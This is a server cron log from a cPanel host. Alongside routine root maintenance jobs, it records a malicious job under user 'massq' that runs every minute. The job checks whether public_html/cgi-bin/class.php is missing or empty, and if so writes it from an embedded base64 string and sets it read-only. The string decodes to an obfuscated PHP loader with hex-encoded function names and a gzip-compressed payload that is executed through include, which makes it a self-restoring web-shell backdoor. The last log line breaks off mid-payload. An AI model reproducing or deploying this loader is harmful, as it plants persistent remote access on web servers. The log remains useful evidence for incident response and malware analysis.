Apr  9 09:44:01 server CROND[19775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:45:01 server CROND[19835]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 09:45:01 server CROND[19836]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 09:45:01 server CROND[19837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:46:01 server CROND[20037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:47:01 server CROND[20120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:48:01 server CROND[20182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:49:01 server CROND[20240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:50:01 server CROND[20294]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 09:50:02 server CROND[20296]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 09:50:02 server CROND[20295]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 09:50:02 server CROND[20297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:50:02 server CROND[20299]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 09:51:01 server CROND[20505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:52:01 server CROND[20559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:53:01 server CROND[20617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:54:01 server CROND[20673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:55:01 server CROND[20754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 09:55:01 server CROND[20756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 09:55:01 server CROND[20755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:56:01 server CROND[20968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:57:01 server CROND[21041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK